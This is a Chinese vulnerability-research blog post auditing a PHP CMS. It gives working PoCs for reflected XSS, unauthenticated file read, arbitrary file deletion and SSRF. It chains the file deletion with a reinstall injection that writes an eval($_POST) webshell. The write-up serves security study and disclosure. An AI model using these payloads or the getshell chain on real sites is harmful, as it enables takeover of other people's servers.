第一次尝试CMS的代码审计
0x00 审计前的准备
php7.4
vscode + phpdebug
从index.php页面看起 一些渲染页面 包含了一些配置文件
先看懂代码具体实现的功能 go~~~
0x01 前端xss
/apiRun.php 漏洞关键位置代码
function AutoRun(){
$mode = trim(@$_GET['mode']);
$sec = trim(@$_GET['sec']);
if (is_numeric($sec) == false){ $sec = 300; }
if ($sec < 60){ $sec = 300; }
?>
......
......
......
var mode = "<?php echo($mode); ?>";
没有做任何处理
构造poc
/apiRun.php?mudi=autoRun&mode=";alert(/xss/);//&sec=300
漏洞证明
0x02 未授权任意文件读取
虽然位于admin目录下但并未没这行代码
$MB->Open('','login');
故造成了未授权
admin/readDeal.php 漏洞关键位置代码
function ReadQrCode(){
$dir = OT::GetStr('dir');
$img = OT::GetStr('img');
if (strlen($img) == 0){ die('二维码图片路径为空'); }
if (! Is::HttpUrl($img)){
$img = StrInfo::FilePath($dir, $img);
if (! file_exists($img)){ die('二维码图片不存在('. $img .')'); }
}
include_once(OT_ROOT .'inc/QrReader/QrReader.php');
$qrcode = new QrReader($img); // 图片路径
$text = $qrcode->text();//返回识别后的文本
if (strlen($text) == 0){ die('二维码图片识别不了'); }
die($text);
}
判断了img是否为http/https协议,如果不是则判断本地文件是否存在
进入new QrReader($img);
查看
给了$sourcetype默认值 进入QrReader::SOURCE_TYPE_FILE
调用了file_get_contents
函数 造成了任意文件读取(因为穷,装不起那个插件,所以只能本地echo出来)如果有那个插件图片内容应该是可以生成出来的。(我的猜想因为只是第一次审计)
漏洞证明
``
组合拳getshell
0x01 任意文件删除
userCenter_deal.php处
获取了几个变量值 进入正则匹配 并且其中有的不为空
跟进正则匹配
只需要为其中的字符即可
继续往下
这里获取了个人信息 只需要注册即可
继续往下 进入了File::Del函数
跟进
无任何过滤 直接删除了文件
看一下userCenter_deal.php
文件的开头
检查了Referer是否和HOST相等(用来防御csrf)
构造payload把install.lock删除
http://127.0.0.1/usersCenter_deal.php?mudi=rev
revType=app&dashangImg1=huahua&dashangImg2=huahua&dashangImg3=huahua&dashangImg1Old=../../cache/web/install.lock
Referer:http://127.0.0.1
成功访问到重装页面
利用重装写shell
这里没有任何过滤
利用accBackupDir写shell
构造poc
http://127.0.0.1/install/index.php?mudi=run
accBackupDir=1');eval($_POST[1]);#&accDir=&accName=&adminDir=admin&adminName=admin&adminPwd=admin&dbType=mysql&isImport=2&mysqlState=1&sqlDbName=OTCMS&sqlIp=localhost&sqlPo=3306&sqlPref=OT_&sqlUserPwd=root&sqlUsername=root
成功getshell
0x03 后台ssrf
inc/classReqUrl.php 漏洞关键位置代码
public static function UseCurl($method, $url, $charset='UTF-8', $dataArr=array()){
if (empty($url)){
return array('res'=>false, 'note'=>'UseCurl:网址为空');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)');
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 80); // 响应时间
curl_setopt($ch ,CURLOPT_TIMEOUT, 150); // 设置超时
// 使用的HTTP协议,CURL_HTTP_VERSION_NONE(让curl自己判断),CURL_HTTP_VERSION_1_0(HTTP/1.0),CURL_HTTP_VERSION_1_1(HTTP/1.1)
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
if (substr(strtolower($url),0,8) == 'https://'){
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);// 从证书中检查SSL加密算法是否存在
}
if (strtoupper($method) == 'POST'){
if (is_array($dataArr)){
$newData = http_build_query($dataArr); // 相反函数 parse_str()
}else{
$newData = $dataArr;
}
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $newData);
}
$data = curl_exec($ch);
info_deal.php中
跟进这行代码 其中img参数可控
跟进GetUrlContent
函数
跟进ReqUrl::UseAuto
函数 发现了三个传参 0 GET $url
在inc/classReqUrl.php
中UseAuto
函数由于mode传参为0 且安装了curl插件
进入了self::UseCurl
函数
有回显的ssrf
从头开始看如何进入self::RemoteFile
函数呢?
我们只需要满足
这里
这里
即可
并且都为post传参很好满足
构造poc
成功收到请求
总结
这套源码整体来说,不是很难,后台洞还是很多的。
- 本文作者: 花北城
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1533
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!